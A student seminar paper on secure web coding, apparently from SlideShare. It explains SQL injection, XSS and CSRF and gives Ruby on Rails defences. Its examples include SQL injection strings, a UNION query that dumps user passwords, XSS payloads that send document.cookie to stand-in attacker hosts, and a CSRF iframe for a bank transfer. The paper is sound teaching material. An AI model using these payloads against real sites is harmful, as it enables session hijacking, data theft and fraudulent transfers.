SlideShare une entreprise Scribd logo
1  sur  28
Télécharger pour lire hors ligne
0
SVEUČILIŠTE U ZAGREBU
FAKULTET ELEKTROTEHNIKE I RAČUNARSTVA
SEMINAR
Writing secure code for web applications
Nicole Bilić
Voditelj: Marin Golub
Zagreb, Svibanj, 2015
1
2
Table of contents
1. Introduction 4
2. Types of attacks for Web applications 5
2.1.SQL Injection 6
2.1.1. Example 8
2.2. Cross-site scripting attack (XSS) 11
2.2.1. Same-origin policy 11
2.2.2. XSS attack 11
2.2.3. Example 1 13
2.2.4. Example 2 15
2.3. Cross-site request forgery attack (CSRF) 16
2.3.1. Example 16
2.4. CSRF and XSS combination 18
3. Examples in Ruby on Rails 19
3.1. SQL Injection 19
3.1.1. How to write SQL injection secure code in RoR 20
3.2. XSS attack 21
3.2.1. How to write XSS attack secure code in RoR 21
3.3. CSRF attack 24
3.3.1. How to write CSRF secure code in RoR 24
4. Conclusion 26
5. Sources 27
6. Summary 28
3
1. Introduction
In the modern times, the need and usage of web application is
huge.Therefore, the need for web frameworks was increased in order to enable
everyday, regular user to easily create a web page for his needs that does not
consist only of raw HTML. Unfortunately, with this simplicity, comes also a great risk,
especially if a person making a web application is not an experienced programmer.
Depending on the purpose of the application, vary the security issues. However,
main problems are personal data theft (which vary from theft of email addresses in
order to sell them on the black market, to more serious identity thefts and similar) and
thefts of valuable information in financial area. Considering rapid growth of websites
and web applications, this paper should inform and draw attention to preventing
these issues at the beginning, i.e. in the source code.
4
2. Types of attacks for Web applications
We will focus on three most popular attacks (or should I say, worst enemies?)
in this paper which are considered to be in the top 10 web application vulnerabilities.
With all the advancement of computer science and software security, these three
attacks still cause big headaches to programmers. All of them are based on mistakes
in the use of certain methods or on security risks being overlooked.
1. SQL Injection
2. Cross-site scripting (XSS attack)
3. Cross-site request forgery (CSRF attack)
5
2.1.SQL Injection
SQL injection is a code injection technique in which malicious SQL statements
are inserted into an entry field for execution [4]. SQL injection errors occur when:
1. Program is interacting (getting data) from an untrusted source
2. The data retrieved in 1. is used for dynamical construction of SQL
queries
The main consequences are:
1. Confidentiality - Loss of confidentiality happens due to the fact that databases
usually store confidential information about users, political parties, country,
military, companies, associations, etc.
2. Authentication - If username and password are handled by poorly formed SQL
statements it is possible for the attacker to login as an existing user without
previously knowing the password. In this case, the main purpose of prompting
users for password is simply bypassed.
3. Authorization - If the database contains information about authorization, it is
possible to change this information in the database by exploiting SQLI
vulnerability (eg. give yourself administrator privileges)
4. Integrity - Exploitation of SQLI vulnerability grants access to reading the data
from the database as well as changing and/or deleting it. Therefore, the
integrity of the data is not ensured.
In 2013, SQLI was the number one attack on the Open Web Application
Security Project(OWASP) list. Using SQLI attacks it is possible for the attacker to
tamper with existing data or even destroy it, become administrator of the database
server or retrieve confidential personal data about users/clients stored in the
database tables. The severity of SQLI attack depends mostly on attacker’s skills.
There are several main sub-classes of SQL injection [4]:
1. Classic SQLI - This attack exploits a security vulnerability in an
application’s software, when, for example, user input is either
6
incorrectly filtered for string literal escape characters embedded in SQL
statements. It is easily detectable by an average experienced attacker if
a web application is vulnerable to this attack. It is performed by
malforming the input text which is processed by web applications, eg.
when logging in, putting an apostrophe in the username (nick’name). If
SQLI vulnerability exists, a webpage with useful error message from the
database server will be shown. In this webpage, database server
complains about SQL Query’s syntax being incorrect.
2. Blind SQLI - The difference between Blind and Classic SQLI is in a
response sent from database server. In this case, instead of an error
web page, a generic web page with no useful data is shown. That
makes SQLI attack more complicated but not impossible. It is still
possible to retrieve useful data from database by asking a series of
True and False questions through sql statements.
The answer determination can be:
a. Content-based - an attacker injects a simple query which always
evaluates to ‘false’, such as ‘and 1=2’. In case that SQLI
vulnerability exists, the web application will probably return
nothing. In order to make sure, the attacker injects another
simple query which always evaluates as ‘true’ such as ‘and 1=1’.
If the content of the page is shown normally, it means that the
web page is sensitive to SQLI attack
b. Time-based - relies on the database pausing for a specified
amount of time and returning the results which indicates SQL
query was successfully executed.
3. Database management system-specific SQLI - SQLI attack targeting
specific database management system syntax.
7
4. Compounded SQLI - combination of SQLI attack and another attack:
a. SQLI + insufficient authentication
b. SQLI + DDoS attacks
c. SQL injection + DNS hijacking
d. SQL injection + XSS
2.1.1. Example [7]
This is an example of a simple SQL attack. Let us assume we have a log in
web page similar to the one in the picture. First step would be to find out which server
is used and that would also further reveal the database. In this example we will not
look into that step. So assuming we know which database is used, next step is to
study the log in site.
When entering an email address, the system presumably looks in the user
database for that email address.
Figure 1. Login form
8
The first step is to enter a single quote in order to see if the SQL string is
constructed without sanitizing. We get: 500 error (server failure) and/or some
message about SQL statement being in the wrong format. Now we can assume that
the SQL code lying underneath this login screen looks something like:
SELECT fieldlist
FROM table
WHERE field = ‘$EMAIL’
If we enter name.surname@xyz.com’ the survey will look something like:
SELECT fieldList
FROM table
WHERE field = ‘name.surname@xyz.com’ ’;
When this is executed, SQL parser will find an extra quote and will abort with a
syntax error. Since the text we enter appears in a WHERE clause of an SQL query,
we can enter:
anything’ OR ‘x’ = ‘x
into an email textbox. Now SQL query looks like:
SELECT fieldlist
FROM table
WHERE field = ‘anything’ OR ‘x’ = ‘x’;
This condition will always evaluate as true. What happens next is that the query is
executed and we get (for example) a screen with a message: your password was
sent to an email address: random.person@xyz.com. In this moment already the
privacy as one the most important security demands is not satisfied.
9
Further steps include trying to guess some field names (one of most common
field names in this kind of databases are password, username, userid, address, email
etc.) After guessing these parameters, SQL query is easily modified and the data in
the database is changed on attacker’s behalf.
10
2.2. Cross-site scripting attack (XSS)
2.2.1. Same-origin policy
Same-origin policy is an important part of an application security model. Under
the policy, a web browser permits scripts contained in a first web page to access data
in a second web page only if both web pages have the same origin. An origin is
defined as a combination of URI scheme, hostname and port number. This policy
prevents a malicious script on one page from obtaining access to sensitive data on
another web page through that page’s DOM (Document Object Model). In other
words, if content from one site is granted permission to access resources on the
system, then any content from that site will share these permissions, while content
from another site will have to be granted permissions separately [4].
2.2.2. XSS attack
Cross-site scripting is a type of computer security vulnerability typically found
in Web applications. XSS enables attackers to inject client-side script into Web pages
viewed by other users and it may be used by attackers to bypass access control such
as the same-origin policy [4]. XSS attacks are based on the victim’s browser trust in a
legitimate, but vulnerable website or web application.
Attacker can access sensitive page content, session cookies and other
information stored by the user’s browser, by finding a way to inject malicious script
into the web page. The name “cross-site scripting” origins from the fact that the
original version of XSS would load another website into an adjacent frame or window
and then use JavaScript to read into it. One website could cross a boundary and
script into another page, pull data from forms, rewrite the page, etc. Modern version
of the attack describes general “HTML code injection” where some code is injected
into the page in a way that the browser is tricked into treating it as executable code
rather than data. Furthermore, code injected is not limited only to JavaScript.
Two types of XSS attacks are recognized:
11
1. Reflected (non-persistent) - is the far most common type of an XSS attack. The
condition for reflected XSS attack is met due to a lack of an input validation when a
website and/or web application employs user’s input in HTML pages returned to the
user’s browser. The name non-persistent actually describes the property of this type
of attack since the malicious code is executed by victims browser and it is not stored
anywhere but returned as part of the response HTML that the server sends. In other
words, the victim sends malicious code to the web application which is then reflected
back to the victim’s browser where the XSS code executes. It is also called Type 1
XSS because the attack is carried out through a single request-response cycle.
There are three typical steps in a non-persistent XSS attack [8]:
1. Research - search for vulnerable websites. Potential candidates:
a. websites with search functionality which display the searched term on
the HTML page returned as a result
b. websites with login functionality which display user’s credentials on the
returned HTML page
c. websites displaying information encoded in the HTTP headers (eg.
browser type and version)
d. websites using DOM parameter values (eg. document.URL)
2. Social engineering - the attacker is trying to influence the user to click on a link
containing malicious URL which injects code into vulnerable web pages and/or
web applications. This can be done using one of the following techniques:
SPAM email containing a crafted link or HTML code, clickjacking, messages or
posts in social media containing malicious link, etc.
3. Payload execution/consequences - after clicking on the crafted link, if the
attack is successful, the script will execute and damage the user and/or
download personal data and/or etc. The damage and the consequences vary
on the code executed. Usual targets of the attack are:
12
a. Cookie theft - attackers steal user’s session cookies that are still active
in order to gain access to websites and/or web application identifying as
the attacked user.
b. Data theft - attackers can read user’s browser history, file contents,
directory listings etc.
2.2.3. Example 1 [8]
This type of XSS attack requires user to visit the crafted link set by the attacker, only
in that case user’s browser will execute the crafted code.
Let us assume we have a simple php script as follows:
<?php
$name = $_GET[‘name’];
echo “Welcome $name<br>”;
echo “<a href=”http://my-web-page.com/”>Click to visit MyPage</a>”;
?>
One of the things attackers can do is alternate the address of a link to a corrupted
web page of his choice. In order to do that, an attacker will craft an URL as follows
and then send it to the victim:
index.php?name=<script>window.onload = function() {var
link=document.getElementsByTagName("a");link[0].href="http://not-real-
xssattackexamples.com/";}</script>
Since the attackers usually try not to mess with the readability of a link, they will
usually encode the ASCII characters to hex:
13
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%
3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6
d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61
%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%
61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
This makes it more likely for a victim not to notice that the link has been crafted.
2. Persistent (Stored) XSS attacks - attacks where the injected script stays
permanently stored on the targeted server (eg. in a database, message forum,
comment field, etc.). The script is obtained by the user’s request to the server which
then returns malicious script. A classic example of this is with online message boards
where users are allowed to post formatted messages for other users to read. These
vulnerabilities are more dangerous than the first kind since the code is stored
permanently and can potentially affect a large number of other users with a little need
for social engineering. Persistent XSS is less frequent than Non-persistent XSS as
the vulnerabilities which make it possible are less common and more difficult to find.
Persistent XSS attack is also called Type-2 XSS because the attack is carried out by
two requests: one for injecting malicious code and storing it on the web server and
the other for when victim loads HTML page containing the payload. Typical steps in
Persistent XSS attacks [8]:
a. Searching for a vulnerable website - most of the vulnerable website
have some typical properties. They contain message boards and/or
forums, are used as social networks or as blogging websites, etc.
b. Malicious code injection - after the targeted vulnerable website is found,
the attacker will try to inject script code into data that is going to be
stored on server. After that, the attacker will access the web pages that
are reflecting back the content he posted to test if the script executes.
In some cases, attackers input the malicious script manually but there
14
are also cases where this is done by tools which regularly inject scripts
automatically.
In the case of Persistent XSS attack, social engineering phase is not required since
the victims do not need to be lured into clicking a link. On the other hand, social
engineering can come handy when the attacker is trying to lure as much victims as
possible to the infected web pages by promoting the link.
The consequences of this attack can be catastrophical considering the fact
that it is possible to execute arbitrary code, usually with elevated privileges since
most of home users use the default “administrator” account. Same as with Reflected
XSS attacks, the usual goals of Non-persistent XSS attacks is Cookie and Data theft.
2.2.4. Example 2 [8]
The example web application does the following:
● There are two types of users: admin and normal user
● When admin logs in, he can see the list of usernames while normal users can
only update their display name
Now the attacker logs in as a normal user and as his username he enters the
following text into the textbox:
<a href=#
onclick=”document.location=’http://my-
xss.com/xss.php?c=’+escape(document.cookie);”> Nickname </a>
The information that user entered will be stored in the database. Admin logs in
to the system and sees “Nickname” among other users, clicks the link and the cookie
with admin privileges is sent to an attacker’s web page. Now the attacker can post
requests as admin using his cookie, until the session is expired.
15
2.3. Cross-site request forgery attack (CSRF)
A cross-site request forgery is an attack that involves forcing a victim to send
an HTTP request to a target destination without their knowledge or intent in order to
perform an action as the victim [10]. In other words, the attacker manipulates the
victim’s browser to send requests in the user’s name to websites that have been
visited or are currently open, without the victim knowing what is happening in the
background. Unlike XSS which exploits the trust a user has for a particular site,
CSRF exploits the trust that a site has in a user’s browser. The attack is carried out
by a link or a script in a page which access a site to which user is supposed to have
been authenticated. CSRF attack is an attack against a Web browser. Some
characteristics common to CSRF [10]:
● involve sites that rely on a user’s identity
● exploit the site’s trust in that identity
● trick the user’s browser into sending an HTTP requests to a target site
● involve HTTP requests that have side effects
This attack is meant for web applications that, after the user is authenticated,
do not prompt the user to authorize the specific action. User is authenticated by a
cookie saved in a browser and he can unknowingly send an HTTP request to a site
that trusts the user based on the cookie. There are several other names for this type
of attacks including Session Riding and One-Click Attack.
2.3.1. Example [5]
Typical steps example in CSRF attack:
1. Attacker prepares a malicious web page that can cause victims’ browser to
send valid payment transfer requests
a. Example: The attacker creates maliciouspage.html and embeds the
following iframe code:
16
<iframe src=https//www.mybank.com/accounts/transfer.asp?
sum=1000&target=D093487324></iframe>
b. Prerequisites: The attacker studies the way the mybank online payment
system works, using a legitimate account and tools to sniff the HTTP
requests being sent by the browser as part of legitimate transactions.
c. Variations: The forged request can be embedded straight in an email
message, case in which there is no need for the web page. However by
using a malicious web page, the attacker can get insight into how the
attack is progressing by analyzing the web server logs.
2. The attacker sends out SPAM (by email, social networks, etc.) containing a
(hidden) link to maliciouspage.html hoping that SPAM will reach users of
mybank who frequently use the online payment system.
3. When the SPAM reaches such a victim, assuming they click through it and
reach maliciouspage.html, their browser will send a request to
https://www.mybank.com for transferring 1000$ into account D093487324
17
2.4. CSRF and XSS combination
A combination of CSRF and XSS attack is a common practice. XSS attack is
used in order to read the cookies and obtain the tokens needed for the malicious
request made by CSRF attack. Furthermore, if the tokens are generated by the
server, then XSS can be used to read a page on the server (XMLHTTPRequest),
record the valid token and use it further for CSRF attack.
Figure 2. CSRF and XSS combination, [5]
18
3. Examples in Ruby on Rails
When sanitizing, protecting or verifying something, prefer whitelists over
blacklists. A blacklist is a list of bad email addresses (that you want to be recognized
and not allowed to use as a registration email address), bad HTML tags etc. Whitelist
would contain the opposite - list of all emails (list accepted for registration), good
HTML tags etc. However, sometimes it is not possible to use whitelists, for example
for SPAM detection.
3.1. SQL Injection
The following shows a typical SQL query in RoR to find the record of a user in
a user table which matches the credentials user entered [6]:
User.first(“Login = ‘#{params[:name]}’ AND password = ‘#{params[:password]}’”)
Now, if attacker enters ‘ OR ‘1’=’1 as the name, and ‘ OR ‘2’>’1 as the password,
SQL query would look as follows:
SELECT *
FROM users
WHERE login = ‘ ’ OR ‘1’=’1’
AND password = ‘ ‘ OR ‘2’>’1’
LIMIT 1
The query will just return the first record from the database and enable access to this
user. This allows the attacker to bypass the authorization. Furthermore, it is also
possible to read confidential data from databases. Typical Ruby code can look like
this:
Project.where(“name = ‘#{params[:name]}’”)
The attacker can inject his query and modify the existing one by entering:
‘) UNION SELECT id, login
AS name, password
19
AS description,1,1,1
FROM users --
Two dashes indicate the end of an SQL statement, as it denotes the beginning of
comments so everything after these two dashes will be ignored by compiler and ruled
out as a comment. This creates an SQL statement as follows:
SELECT *
FROM projects
WHERE (name = ‘ ‘) UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --
As a result, we will get a list of user names and their passwords.
3.1.1. How to write SQL injection secure code in RoR
It is good to know that Ruby on Rails has countermeasures that are already
built in. Therefore, all that programmer needs to know is which built-in methods, used
for SQL queries, are safe to use and they help to prevent the simplest SQLI attacks.
There are some methods (such as Table.find(id) or similar) that have built-in filter for
SQL special characters which will escape apostrophes, NULL and line breaks. On
the other hand, in SQL fragments, especially in conditions fragments (where clause),
SQL special character escape has to be done manually [6].
Instead of passing a string to the conditions options (In the example above,
these strings are passed directly as parameters for WHERE part of an SQL clause),
you can pass an array to sanitize tainted strings:
Model.where(“Login = ? AND password = ?”, user_name, password).first
or using hash:
Model.where(login: user_name, password: password).first
The array and hash form is only available in model instances.
20
3.2. XSS attack
Like with most of injection based attacks, an entry point for this attack is a
vulnerable URL and its parameters. Therefore, most common entry points are
message posts, user comments etc., more or less everywhere where user can enter
his own text. On the other hand, the input does not necessarily come from input
boxes on websites, but can come as any URL parameter - hidden, obvious or
internal. It is important to be aware that attacker can access any of the packages on
the network, and with software (such as Wireshark and similar), it is easy to
modificate the HTTP requests.
In modern Web development, the most popular client-side scripting language
is JavaScript in combination with HTML and CSS. Therefore, the most common
language used for XSS is a combination of JavaScript and HTML [6].
The simplest example how to test a web page for XSS can be as follows:
<script>alert('Hello');</script>
This code will simply display a text box containing the text "Hello" and prove if the
web page is resistant to XSS attack or not.
3.2.1. How to write XSS attack secure code in RoR
Usually, the main goal of an attacker is to try to get user's session cookie.
Assuming we have the following code [6]:
<script>document.write('<img src="http://www.stolen-cookies.com/' +
document.cookie + '">');</script>
21
Since this website does not actually exist, the browser will show empty
window, but the attacker can check the access log on his server and see victim's
cookie.
The easiest solution here is to add httpOnly flag to cookies which makes it impossible
for an attacker to use JavaScript to obtain user's cookie. However, this option is
available only in newer versions of most of the browsers (for example Safari is still
ignoring this option), and in older versions of browsers setting this option can cause
the failure of loading the page. Furthermore, cookies are still obtainable using Ajax
requests [6].
The most popular way to attack by XSS is to include code from external
sources by iframes. This allows us to load arbitrary HTML and JavaScript code from
an external source and embeds it as a part of the site.
<iframe name="WebPage" src="http://58.xx.xxx.xxx" width=10 height=15
style="display:none"></iframe>
In the case of reflected XSS attack, the user needs to click on the crafted link
where URL contains the payload by the attacker. Let us assume that an attacker
made his own web page that contains the crafted link. This link is masked by some
nonthreatening term or sentence, such as: "Click here to continue" or similar.
However the link URL, behind the scenes, can contain any kind of malicious script.
Therefore, attacker's only mission is to make the user click the link [6].
The only way to try to fight this attack is to filter malicious input, as well as to
escape the output of the web application. Furthermore, it is recommended to prefer
whitelist filtering over blacklist. In earlier versions of Rails, blacklist approach was
used, which an attacker could have avoided. Let us assume that we have a blacklist
that contains word script. So, when the input is filtered, if an attacker would input
"<scrscriptpt>", after the blacklist filtering, which would excluse "script" from this tag,
we would still have "<script>" as a result. This is the reason why in newer versions of
Rails whitelist approach is used. Therefore, instead of using method strip_tags(), it is
recommended to use updated Rails 2 method sanitize(). Furthermore, it is a good
22
practice, especially when re-displaying user input, to escape all outputs of the
application. Method escapeHTML() replaces HTML input characters &,",<,> with their
uninterpreted representations in HTML (&amp, &quot, &lt, &gt). Other option is to
install SafeErb gem which reminds the programmer to escape strings from external
sources [6].
23
3.3. CSRF attack
An entry point is a vulnerable URL and its parameters where an attacker can
start an attack. The most common entry points are comments, posts, document
names, etc. more or less everywhere where user can enter arbitrary text. This attack
can combine with SQLI attack, in which case an attacker can put malicious code in
every textual table column. The crafted link does not have to be within web
application's domain, but it can be placed in places like forum, blog post or email.
This attack is used on pages that access a web application where user is supposed
to be authenticated so until the session for that application is not expired, attacker is
able to execute unauthorized commands. The attacker needs to figure out the exact
invocation of the targeted malicious action and then craft a link that performs the said
action [6].
3.3.1. How to write CSRF secure code in RoR
First of all, it is recommended to use GET and POST appropriately. In other
cases, when these commands are not used, security token will protect the application
from CSRF. Security token is a token that our site knows, but other sites do not. It is
included in requests and is verified on the server side. To include security token,
programmer needs to add only one line [6]:
protect_from_forgery with: :exception
This includes automatically a security token in all forms and Ajax requests. If the
security token does not match what was expected, Rails will throw an exception.
In a lot of cases persistent cookies are used in order to store information about
users. If that is the case, then non of the out of the box CSRF protection will not be
effective. In those cases, programmer has to deal with it on his own by for example
deleting user's cookie if security token is not present or is incorrect [6].
rescue_from ActionController::InvalidAuthenticityToken do
24
|exception|
sign_out_user
end
However, in the newer versions of Ruby on Rails, two changes have been
made. First, the security token is now obligatory for all non-GET requests. Second,
when CSRF request fails, the session will be reset. If the programmer wants to
change this default behaviour, the method: handle_unverified_requests needs to
be overriden [6].
25
5. Conclusion
It is important for every programmer to be familiar with actual threats in order
to prevent malicious attacks which lead to personal data leakage, thefts and material
damage. With each day the number of web applications is increasing. In today's
world, it is already a common practice to informatise everyday life as much as
possible, from paying the bills from home to food ordering over websites. This leads
us to a conclusion that information security has to be in the highest level possible and
programmer has to be aware of the threats to prevent attacks and not to patch the
vulnerabilities after the damage has already been done.
26
6. Sources
1. SQL Injection, OWASP, 14.08.2014., SQL Injection,
https://www.owasp.org/index.php/SQL_Injection, 10.5.2015.
2. Blind SQL Injection, CGISecurity, Blind SQL Injection,
http://www.cgisecurity.com/questions/blindsql.shtml, 2.5.2015.
3. http://security.stackexchange.com, 11.5.2015.
4. http://en.wikipedia.org/wiki/Cross-site_scripting, 11.5.2015.
5. Acunetix, Ožujak 2014., http://www.acunetix.com, 3.5.2015.
6. Security Guide, http://guides.rubyonrails.org/security.html, 3.5.2015.
7. SQL Injection, Steve Friedl, SQL Injection Attacks by Example,
http://unixwiz.net/techtips/sql-injection.html, 12.5.2015.
8. XSS examples, Lakshmanan Ganapathy, 16.2.2012., XSS Attack
Examples (Cross-Site Scripting Attacks),
http://www.thegeekstuff.com/2012/02/xss-attack-examples/, 12.5.2015.
9. Cross-site Scripting, Obi Orjih, 3.12.2007., Cross-site Scripting: An
Attack Demonstration, http://www1.cse.wustl.edu/~jain/cse571-
07/ftp/xsscript/index.html#sec2.1, 3.5.2015.
10.Cross site Request Forgery, Robert Auger, 2010., Cross site Request
Forgery,
http://projects.webappsec.org/w/page/13246919/Cross%20Site%20Request%
20Forgery, 11.5.2015.
27
7. Summary
Instructions on how to write secure code for Web applications. What to take
into consideration when it comes to security of information and data leakage. Warn
programmers about exploitation of badly written code as well as the importance of
understanding and knowledge about the programming language used. Description of
several popular attacks, such as: SQLI attack, XSS attack and CSRF attack.

Contenu connexe

Tendances

Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSSMike Crabb
 
XSS And SQL Injection Vulnerabilities
XSS And SQL Injection VulnerabilitiesXSS And SQL Injection Vulnerabilities
XSS And SQL Injection VulnerabilitiesMindfire Solutions
 
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...Yuji Kosuga
 
Lis4774.term paper part_a.cyber_eagles
Lis4774.term paper part_a.cyber_eaglesLis4774.term paper part_a.cyber_eagles
Lis4774.term paper part_a.cyber_eaglesAlexisHarvey8
 
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...Yuji Kosuga
 
Sql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySandip Chaudhari
 
Sql injections - with example
Sql injections - with exampleSql injections - with example
Sql injections - with examplePrateek Chauhan
 
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET Journal
 
SQL Injection and Clickjacking Attack in Web security
SQL Injection and Clickjacking Attack in Web securitySQL Injection and Clickjacking Attack in Web security
SQL Injection and Clickjacking Attack in Web securityMoutasm Tamimi
 
Lessons Learned From the Yahoo! Hack
Lessons Learned From the Yahoo! HackLessons Learned From the Yahoo! Hack
Lessons Learned From the Yahoo! HackImperva
 
Automated Detection of Session Fixation Vulnerabilities
Automated Detection of Session Fixation VulnerabilitiesAutomated Detection of Session Fixation Vulnerabilities
Automated Detection of Session Fixation VulnerabilitiesYuji Kosuga
 
How "·$% developers defeat the web vulnerability scanners
How "·$% developers defeat the web vulnerability scannersHow "·$% developers defeat the web vulnerability scanners
How "·$% developers defeat the web vulnerability scannersChema Alonso
 
Web application attacks
Web application attacksWeb application attacks
Web application attackshruth
 

Tendances (20)

Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSS
 
XSS And SQL Injection Vulnerabilities
XSS And SQL Injection VulnerabilitiesXSS And SQL Injection Vulnerabilities
XSS And SQL Injection Vulnerabilities
 
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
 
ieee
ieeeieee
ieee
 
Lis4774.term paper part_a.cyber_eagles
Lis4774.term paper part_a.cyber_eaglesLis4774.term paper part_a.cyber_eagles
Lis4774.term paper part_a.cyber_eagles
 
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
 
Sql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySql Injection - Vulnerability and Security
Sql Injection - Vulnerability and Security
 
Sql injections - with example
Sql injections - with exampleSql injections - with example
Sql injections - with example
 
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
 
SQL Injection and Clickjacking Attack in Web security
SQL Injection and Clickjacking Attack in Web securitySQL Injection and Clickjacking Attack in Web security
SQL Injection and Clickjacking Attack in Web security
 
Ijcatr04041018
Ijcatr04041018Ijcatr04041018
Ijcatr04041018
 
Lessons Learned From the Yahoo! Hack
Lessons Learned From the Yahoo! HackLessons Learned From the Yahoo! Hack
Lessons Learned From the Yahoo! Hack
 
Automated Detection of Session Fixation Vulnerabilities
Automated Detection of Session Fixation VulnerabilitiesAutomated Detection of Session Fixation Vulnerabilities
Automated Detection of Session Fixation Vulnerabilities
 
Sql injection
Sql injectionSql injection
Sql injection
 
Security Awareness
Security AwarenessSecurity Awareness
Security Awareness
 
How "·$% developers defeat the web vulnerability scanners
How "·$% developers defeat the web vulnerability scannersHow "·$% developers defeat the web vulnerability scanners
How "·$% developers defeat the web vulnerability scanners
 
Sql injection
Sql injectionSql injection
Sql injection
 
Owasp Top 10 A1: Injection
Owasp Top 10 A1: InjectionOwasp Top 10 A1: Injection
Owasp Top 10 A1: Injection
 
How to identify and prevent SQL injection
How to identify and prevent SQL injection  How to identify and prevent SQL injection
How to identify and prevent SQL injection
 
Web application attacks
Web application attacksWeb application attacks
Web application attacks
 

En vedette

Big data in Business Innovation
Big data in Business Innovation   Big data in Business Innovation
Big data in Business Innovation R A Akerkar
 
English 12 - The Humanization Project
English 12 - The Humanization ProjectEnglish 12 - The Humanization Project
English 12 - The Humanization ProjectAshley Slade
 
Applause for a Cause - An Activist Group Creation Project
Applause for a Cause - An Activist Group Creation ProjectApplause for a Cause - An Activist Group Creation Project
Applause for a Cause - An Activist Group Creation ProjectAshley Slade
 
Linked open data
Linked open dataLinked open data
Linked open dataR A Akerkar
 
What is Big Data ?
What is Big Data ?What is Big Data ?
What is Big Data ?R A Akerkar
 
LeviPath: Modular Acoustic Levitation for 3D Path Visualisations.
LeviPath: Modular Acoustic Levitation for 3D Path Visualisations.LeviPath: Modular Acoustic Levitation for 3D Path Visualisations.
LeviPath: Modular Acoustic Levitation for 3D Path Visualisations.University of Sussex
 
Can You Really Make Best Use of Big Data?
Can You Really Make Best Use of Big Data?Can You Really Make Best Use of Big Data?
Can You Really Make Best Use of Big Data?R A Akerkar
 
Reliable System Integration and Scaling with WSO2 Message Broker
Reliable System Integration and Scaling with WSO2 Message BrokerReliable System Integration and Scaling with WSO2 Message Broker
Reliable System Integration and Scaling with WSO2 Message BrokerWSO2
 
Muhammad Ali y Joe Frazier
Muhammad Ali y Joe FrazierMuhammad Ali y Joe Frazier
Muhammad Ali y Joe Frazierpagola123
 
Chapter 5 semantic web
Chapter 5 semantic webChapter 5 semantic web
Chapter 5 semantic webR A Akerkar
 
Deformable and Shape Changing Interfaces
Deformable and Shape Changing InterfacesDeformable and Shape Changing Interfaces
Deformable and Shape Changing InterfacesUniversity of Sussex
 
Straight Drive 12 Questions
Straight Drive 12 QuestionsStraight Drive 12 Questions
Straight Drive 12 QuestionsQBIT Mesra
 
Supply management, value chain &amp; demand forecasting
Supply management, value chain &amp; demand forecastingSupply management, value chain &amp; demand forecasting
Supply management, value chain &amp; demand forecastingvasishta bhargava
 
Taller exprés planificación ágil
Taller exprés planificación ágilTaller exprés planificación ágil
Taller exprés planificación ágilJose Manuel Beas
 
Scalable vertical search engine with hadoop
Scalable vertical search engine with hadoopScalable vertical search engine with hadoop
Scalable vertical search engine with hadoopdatasalt
 

En vedette (20)

15 Qs in this R
15 Qs in this  R15 Qs in this  R
15 Qs in this R
 
My Mystery Film
My Mystery Film My Mystery Film
My Mystery Film
 
Big data in Business Innovation
Big data in Business Innovation   Big data in Business Innovation
Big data in Business Innovation
 
English 12 - The Humanization Project
English 12 - The Humanization ProjectEnglish 12 - The Humanization Project
English 12 - The Humanization Project
 
Applause for a Cause - An Activist Group Creation Project
Applause for a Cause - An Activist Group Creation ProjectApplause for a Cause - An Activist Group Creation Project
Applause for a Cause - An Activist Group Creation Project
 
수정1
수정1수정1
수정1
 
Linked open data
Linked open dataLinked open data
Linked open data
 
What is Big Data ?
What is Big Data ?What is Big Data ?
What is Big Data ?
 
LeviPath: Modular Acoustic Levitation for 3D Path Visualisations.
LeviPath: Modular Acoustic Levitation for 3D Path Visualisations.LeviPath: Modular Acoustic Levitation for 3D Path Visualisations.
LeviPath: Modular Acoustic Levitation for 3D Path Visualisations.
 
Can You Really Make Best Use of Big Data?
Can You Really Make Best Use of Big Data?Can You Really Make Best Use of Big Data?
Can You Really Make Best Use of Big Data?
 
Prelim Round
Prelim RoundPrelim Round
Prelim Round
 
Reliable System Integration and Scaling with WSO2 Message Broker
Reliable System Integration and Scaling with WSO2 Message BrokerReliable System Integration and Scaling with WSO2 Message Broker
Reliable System Integration and Scaling with WSO2 Message Broker
 
Muhammad Ali y Joe Frazier
